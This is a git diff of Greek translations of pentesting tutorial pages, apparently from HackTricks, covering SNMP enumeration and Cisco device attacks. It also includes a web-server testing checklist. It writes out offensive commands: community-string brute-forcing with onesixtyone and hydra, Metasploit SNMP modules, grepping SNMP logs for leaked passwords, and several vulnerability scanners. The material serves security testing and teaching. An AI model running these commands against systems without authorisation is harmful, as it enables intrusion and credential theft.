Αν έχετε το **κλειδί** που σας επιτρέπει να **εγγράψετε τιμές** μέσα στην υπηρεσία SNMP, μπορείτε να το εκμεταλλευτείτε για να **εκτελέσετε εντολές**:
{% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md)
@ -167,7 +167,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
## **Μαζικό SNMP**
Το [Braa ](https://github.com/mteg/braa)είναι ένα μαζικό σαρωτή SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η πραγματοποίηση ερωτημάτων SNMP - αλλά αντίθετα με το snmpwalk από το net-snmp, είναι σε θέση να ερωτά δεκάδες ή εκατοντάδες οικοδεσπότες ταυτόχρονα, και με ένα μόνο διεργασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και πραγματοποιεί τη σάρωση ΠΟΛΥ γρήγορα.
Το [Braa ](https://github.com/mteg/braa)είναι ένα μαζικό σαρωτή SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η πραγματοποίηση ερωτημάτων SNMP - αλλά αντίθετα με το snmpwalk από το net-snmp, είναι σε θέση να ερωτά δεκάδες ή εκατοντάδες οικοδεσπότες ταυτόχρονα, και με ένα μόνο διεργασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και κάνει τη σάρωση ΠΟΛΥ γρήγορη.
Το Braa υλοποιεί τον ΔΙΚΟ του στοίβα SNMP, οπότε ΔΕΝ χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp.
@ -189,7 +189,7 @@ grep -i "trap" *.snmp
```
### **Ονόματα Χρηστών/Κωδικοί Πρόσβασης**
Τα logs που αποθηκεύονται στους πίνακες MIB εξετάζονται για **αποτυχημένες προσπάθειες σύνδεσης**, οι οποίες ενδέχεται να περιλαμβάνουν κατά λάθος κωδικούς πρόσβασης που εισήχθησαν ως ονόματα χρηστών. Λέξεις-κλειδιά όπως _fail_, _failed_, ή _login_ αναζητούνται για την εύρεση πολύτιμων δεδομένων:
Τα logs που αποθηκεύονται στους πίνακες MIB εξετάζονται για **αποτυχημένες προσπάθειες σύνδεσης**, οι οποίες ενδέχεται να περιλαμβάνουν κατά λάθος κωδικούς που εισήχθησαν ως ονόματα χρηστών. Λέξεις-κλειδιά όπως _fail_, _failed_, ή _login_ αναζητούνται για την εύρεση πολύτιμων δεδομένων:
```bash
grep -i "login\|fail" *.snmp
```
@ -213,9 +213,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχάκευτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής γλώσσας_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -261,7 +261,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,23 +4,23 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέβατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
## Ελέγχοντας τα Δίκτυα Cisco
## Ελέγχοντας την Ασφάλεια των Δικτύων Cisco
Το **SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για μηνύματα παγίδων. Αυτό το πρωτόκολλο βασίζεται σε συμβολοσειρές κοινότητας, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ πρακτόρων SNMP και διακομιστών. Αυτές οι συμβολοσειρές είναι κρίσιμες γιατί καθορίζουν τα επίπεδα πρόσβασης, ειδικά τα **μόνο για ανάγνωση (RO) ή για ανάγνωση-εγγραφή (RW)**. Ένα σημαντικό διάνυσμα επίθεσης για τους ελεγκτές ασφαλείας είναι η **δύναμη των συμβολοσειρών κοινότητας**, με στόχο τη διείσδυση σε δικτυακές συσκευές.
Το **SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για μηνύματα παγίδες. Αυτό το πρωτόκολλο βασίζεται σε συμβολοσειρές κοινότητας, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ πρακτόρων SNMP και διακομιστών. Αυτές οι συμβολοσειρές είναι κρίσιμες γιατί καθορίζουν τα επίπεδα πρόσβασης, ειδικότερα τα **μόνο για ανάγνωση (RO) ή ανάγνωσης-εγγραφής (RW) δικαιώματα**. Ένα σημαντικό διάνυσμα επίθεσης για τους ελεγκτές ασφάλειας είναι η **δύναμη των συμβολοσειρών κοινότητας**, με στόχο τη διείσδυση σε δικτυακές συσκευές.
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων δύναμης είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών συμβολοσειρών κοινότητας και τις διευθύνσεις IP των στόχων:
```bash
@ -28,18 +28,18 @@ onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Το πλαίσιο εργαλείων Metasploit διαθέτει το module `cisco_config_tftp`, το οποίο διευκολύνει την εξαγωγή των διαμορφώσεων συσκευών, εφόσον αποκτηθεί ένα RW community string. Τα βασικά παράμετροι για αυτήν τη λειτουργία περιλαμβάνουν:
Το πλαίσιο εργαλείων Metasploit διαθέτει το ενότητα `cisco_config_tftp`, που διευκολύνει την εξαγωγή των διαμορφώσεων συσκευών, εφόσον αποκτηθεί ένα RW community string. Τα βασικά παράμετροι για αυτήν τη λειτουργία περιλαμβάνουν:
* RW community string (**COMMUNITY**)
* IP του επιτιθέμενου (**LHOST**)
* IP της συσκευής-στόχου (**RHOSTS**)
* Διαδρομή προορισμού για τα αρχεία διαμόρφωσης (**OUTPUTDIR**)
Μετά την ρύθμιση, αυτό το module επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε ένα καθορισμένο φάκελο.
Μετά την ρύθμιση, αυτή η ενότητα επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε έναν καθορισμένο φάκελο.
#### `snmp_enum`
Ένα άλλο module του Metasploit, το **`snmp_enum`**, εξειδικεύεται στη συλλογή λεπτομερών πληροφοριών υλικού. Λειτουργεί με οποιοδήποτε τύπο community string και απαιτεί τη διεύθυνση IP του στόχου για επιτυχή εκτέλεση:
Ένα άλλο ενότητα του Metasploit, το **`snmp_enum`**, εξειδικεύεται στη συλλογή λεπτομερών πληροφοριών υλικού. Λειτουργεί με οποιοδήποτε τύπο community string και απαιτεί τη διεύθυνση IP του στόχου για επιτυχή εκτέλεση:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -49,15 +49,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και για να χακάρετε το αχακάρευτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής γλώσσας_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακούμπα - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν στον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)

View file

@ -14,9 +14,9 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαριστου - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -45,26 +45,26 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
> Σε αυτήν τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείτε σε έναν τομέα (ή υποτομέα) και μόνο σε αυτόν. Έτσι, θα πρέπει να εφαρμόσετε αυτήν τη μεθοδολογία σε κάθε ανακαλυφθέντα τομέα, υποτομέα ή IP με μη καθορισμένο διακομιστή web εντός του πεδίου εφαρμογής.
* [ ] Ξεκινήστε με το **εντοπισμό** των **τεχνολογιών** που χρησιμοποιούνται από τον διακομιστή web. Αναζητήστε **κόλπα** που πρέπει να έχετε υπόψη σας κατά τη διάρκεια του υπόλοιπου τεστ αν μπορέσετε να αναγνωρίσετε με επιτυχία την τεχνολογία.
* [ ] Ξεκινήστε με το **εντοπισμό** των **τεχνολογιών** που χρησιμοποιούνται από τον διακομιστή web. Αναζητήστε **κόλπα** που πρέπει να έχετε υπόψη σας κατά τη διάρκεια του υπόλοιπου τεστ αν μπορείτε να αναγνωρίσετε με επιτυχία την τεχνολογία.
* [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
* [ ] Χρησιμοποιείται κάποια **γνωστή τεχνολογία**; Κάποιο **χρήσιμο κόλπο** για την εξαγωγή περισσότερων πληροφοριών;
* [ ] Υπάρχει κάποιο **εξειδικευμένο σαρώτη** που πρέπει να εκτελέσετε (όπως το wpscan);
* [ ] Εκκινήστε **σαρώσεις γενικής χρήσης**. Δεν ξέρετε ποτέ αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
* [ ] Χρησιμοποιείται κάποια **γνωστή τεχνολογία**; Κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
* [ ] Υπάρχει κάποιο **εξειδικευμένο σαρωτή** που πρέπει να εκτελέσετε (όπως το wpscan);
* [ ] Εκκινήστε τους **σαρωτές γενικής χρήσης**. Δεν ξέρετε ποτέ αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
* [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **ρομπότ**, **χάρτης ιστότοπου**, **σφάλμα 404** και **σάρωση SSL/TLS** (εάν χρησιμοποιεί HTTPS).
* [ ] Ξεκινήστε το **αραχνοειδές** της ιστοσελίδας: Ήρθε η ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται**. Επίσης, ελέγξτε για **ειδικές ευρήματα**.
* [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διαδικασία brute-forcing ή αραχνοειδοϊστότοπου, πρέπει να γίνει αραχνοειδής._
* [ ] **Αναζήτηση Καταλόγων με Brute-Force**: Δοκιμάστε να κάνετε brute force όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **καταλόγους**.
* [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διαδικασία brute-forcing ή αραχνοειδοϊστότοπου, πρέπει να γίνει Brute-Force._
* [ ] Ξεκινήστε την **ανάρριχηση** της ιστοσελίδας: Ήρθε η ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ευρήματα**.
* [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διαδικασία brute-forcing ή ανάρριχησης, πρέπει να γίνει ανάρριχηση._
* [ ] **Ανάρριχηση Καταλόγων**: Δοκιμάστε να κάνετε brute force όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **καταλόγους**.
* [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διαδικασία brute-forcing ή ανάρριχησης, πρέπει να γίνει Brute-Forced._
* [ ] **Έλεγχος Αντιγράφων Ασφαλείας**: Δοκιμάστε να βρείτε **αντίγραφα ασφαλείας** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων ασφαλείας.
* [ ] **Αναζήτηση Καταλόγων με Brute-Force**: Δοκιμάστε να **βρείτε κρυμμένες παραμέτρους**.
* [ ] **Αναζήτηση Βίας Παραμέτρων**: Δοκιμάστε να **βρείτε κρυμμένες παραμέτρους**.
* [ ] Αφού έχετε **αναγνωρίσει** όλα τα πιθανά **σημεία εισόδου** που δέχονται **είσοδο χρήστη**, ελέγξτε όλους τους τύπους **ευπαθειών** που σχετίζονται με αυτά.
* [ ] [Ακολουθήστε αυτό τον κατάλογο ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md)
## Έκδοση Διακομιστή (Ευπαθής;)
## Έκδοση Διακομιστή (Ευπάθειες;)
### Αναγνώριση
Ελέγξτε αν υπάρχουν **γνωστές ευπαθείες** για την έκδοση του διακομιστή που εκτελείται.\
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την έκδοση του διακομιστή που εκτελείται.\
Τα **HTTP headers και τα cookies της απόκρισης** μπορεί να είναι πολύ χρήσιμα για την **αναγνώριση** των **τεχνολογιών** και/ή **έκδοσης** που χρησιμοποιούνται. Η σάρωση **Nmap** μπορεί να αναγνωρίσει την έκδοση του διακομιστή, αλλά μπορεί επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
@ -104,7 +104,7 @@ webanalyze -host https://google.com -crawl 2
* [**Laravel**](laravel.md)
* [**Moodle**](moodle.md)
* [**Nginx**](nginx.md)
* [**PHP (το php έχει πολλά ενδιαφέροντα κόλπα που θα μπορούσαν να εκμεταλλευτούν)**](php-tricks-esp/)
* [**PHP (το php έχει πολλά ενδιαφέροντα κόλπα που μπορούν να εκμεταλλευτούν)**](php-tricks-esp/)
* [**Python**](python.md)
* [**Spring Actuators**](spring-actuators.md)
* [**Symphony**](symphony.md)
@ -117,18 +117,18 @@ webanalyze -host https://google.com -crawl 2
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φάκελους** και **υποτομείς**._\
Αν η εφαρμογή web χρησιμοποιεί κάποια καλά γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **ψάξετε στο Internet** για νέα κόλπα (και ενημερώστε με!).
Αν η εφαρμογή web χρησιμοποιεί κάποια καλά γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε πριν** ή **κάποια άλλη**, μην ξεχάσετε να **ψάξετε στο Internet** για νέα κόλπα (και ενημερώστε με!).
### Αναθεώρηση Κώδικα Πηγής
Αν ο **κώδικας πηγής** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την **διεξαγωγή ενός White box τεστ** της εφαρμογής από εσάς, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box δοκιμή**:
Αν ο **κώδικας πηγής** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την **διεξαγωγή ενός White box τεστ** της εφαρμογής, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box δοκιμή**:
* Υπάρχει **Αρχείο Αλλαγών ή Readme ή Αρχείο Έκδοσης** ή οποιαδήποτε πληροφορία με **πληροφορίες έκδοσης προσβάσιμη** μέσω του web;
* Υπάρχει **Αρχείο Αλλαγών ή Readme ή Αρχείο Έκδοσης** ή οποιαδήποτε άλλη πληροφορία με **πληροφορίες έκδοσης προσβάσιμη** μέσω του web;
* Πώς και πού αποθηκεύονται οι **διαπιστεύσεις**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με διαπιστεύσεις (ονόματα χρηστών ή κωδικούς πρόσβασης);
* Οι **κωδικοί πρόσβασης** είναι σε **καθαρό κείμενο**, **κρυπτογραφημένοι** ή ποιος **αλγόριθμος κατακερματισμού** χρησιμοποιείται;
* Χρησιμοποιεί κάποιο **κύριο κλειδί** για την κρυπτογράφηση κάτι; Ποιος **αλγόριθμος** χρησιμοποιείται;
* Μπορείτε να **έχετε πρόσβαση σε οποιοδήποτε από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
* Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (λυμένα και μη λυμένα) **θέματα**; Ή στο **ιστορικό δέσμευσης** (ίσως κάποιος **κωδικός εισήχθη μέσα σε μια παλιά δέσμευση**)?
* Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (λυμένα και μη λυμένα) **issues**; Ή στο **ιστορικό commit** (ίσως κάποιος **κωδικός εισαχθεί μέσα σε ένα παλιό commit**);
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -136,7 +136,7 @@ _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρ
### Αυτόματοι σαρωτές
#### Σαρωτές αυτόματης γενικής χρήσης
#### Αυτόματοι σαρωτές γενικής χρήσης
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -150,7 +150,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### Σαρωτές CMS
Εάν χρησιμοποιείται ένα CMS, μην ξεχνάτε να **εκτελέσετε ένα σαρωτή**, ίσως βρείτε κάτι ενδιαφέρον:
Εάν χρησιμοποιείται ένα CMS, μην ξεχνάτε να **εκτελέσετε ένα σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** ιστοσελίδες για θέματα ασφαλείας. (Γραφικό περιβάλλον)\
@ -163,11 +163,11 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιείται από τον πελάτη (εάν έχει δοθεί κάποια δεδομένα) και μερικά κόλπα που πρέπει να έχετε υπόψη κατά τη διάρκεια του τεστ. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμα ένα CMS και να έχετε εκτελέσει κάποιο scanner.
> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιείται από τον πελάτη (εάν έχει δοθεί κάποια δεδομένα) και μερικά κόλπα που πρέπει να έχετε υπόψη κατά τη διάρκεια του τεστ. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμα και ένα CMS και να έχετε τρέξει κάποιο scanner.
## Ανακάλυψη Εφαρμογής Web Βήμα-Βήμα
## Ανακάλυψη Εφαρμογής Web Βήμα-προς-Βήμα
> Από αυτό το σημείο θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή.
> Από αυτό το σημείο θα ξεκινήσουμε την αλληλεπίδραση με την web εφαρμογή.
### Αρχικοί Έλεγχοι
@ -182,26 +182,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Εξαναγκασμός σφαλμάτων**
Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν στέλνονται παράξενα δεδομένα σε αυτούς. Αυτό μπορεί να ανοίξει **ευπάθειες** ή να **αποκαλύψει ευαίσθητες πληροφορίες**.
Οι web servers μπορεί **να συμπεριφέρονται απροσδόκητα** όταν στέλνονται παράξενα δεδομένα σε αυτούς. Αυτό μπορεί να ανοίξει **ευπάθειες** ή να **αποκαλύψει ευαίσθητες πληροφορίες**.
* Αποκτήστε πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever\_fake.php (.aspx,.html,.κλπ)
* Προσθέστε "\[]", "]]" και "\[\[" στις τιμές των **cookies** και τις τιμές των **παραμέτρων** για να δημιουργήσετε σφάλματα
* Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
* Δοκιμάστε **διαφορετικές HTTP Μέθοδους** όπως PATCH, DEBUG ή λανθασμένες όπως FAKE
* Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever\_fake.php (.aspx,.html,.κλπ)
* Προσθήκη "\[]", "]]" και "\[\[" σε **τιμές cookie** και τιμές **παραμέτρων** για δημιουργία σφαλμάτων
* Δημιουργία σφάλματος δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
* Δοκιμάστε **διαφορετικές HTTP Ρήσεις** όπως PATCH, DEBUG ή λανθασμένες όπως FAKE
#### **Ελέγξτε αν μπορείτε να μεταφορτώσετε αρχεία (**[**PUT μέθοδος, WebDav**](put-method-webdav.md)**)**
#### **Έλεγχος εάν μπορείτε να μεταφορτώσετε αρχεία (**[**PUT ρήση, WebDav**](put-method-webdav.md)**)**
Αν βρείτε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε αρκετές άδειες για τη **μεταφόρτωση αρχείων** στον ριζικό φάκελο, δοκιμάστε:
Αν βρείτε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε αρκετές άδειες για **μεταφόρτωση αρχείων** στον ριζικό φάκελο, προσπαθήστε:
* **Επίθεση Brute Force** στα διαπιστευτήρια
* **Μεταφόρτωση αρχείων** μέσω WebDav στα **υπόλοιπα** από τα **εντοπισμένα φάκελα** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες για τη μεταφόρτωση αρχείων σε άλλους φακέλους.
* **Δοκιμή βίας** διαπιστεύσεων
* **Μεταφόρτωση αρχείων** μέσω WebDav στα **υπόλοιπα** βρεθέντα φάκελα μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες για μεταφόρτωση αρχείων σε άλλους φακέλους.
### **Ευπάθειες SSL/TLS**
* Αν η εφαρμογή **δεν αναγκάζει τη χρήση HTTPS** σε καμία περίπτωση, τότε είναι **ευάλωτη σε MitM**
* Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε υπάρχει μια υψηλή ευπάθεια.
* Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
Χρησιμοποιήστε το [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε τις **ευπάθειες** (Σε προγράμματα ανταμοιβής ευρημάτων πιθανόν αυτού του είδους ευπάθειες δεν θα γίνουν δεκτές) και χρησιμοποιήστε το [**a2sv** ](https://github.com/hahwul/a2sv) για επαναέλεγχο των ευπαθειών:
Χρησιμοποιήστε το [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο ευπαθειών (Σε προγράμματα ανταμοιβής ευρημάτων πιθανόν αυτού του είδους ευπάθειες να μην γίνουν δεκτές) και χρησιμοποιήστε το [**a2sv** ](https://github.com/hahwul/a2sv) για επανέλεγχο των ευπαθειών:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -224,31 +224,31 @@ sslyze --regular <ip:port>
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML αράχνη, επίσης εντοπίζει "juicy αρχεία".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστική CLI HTML αράχνη. Αναζητά επίσης στο Archive.org.
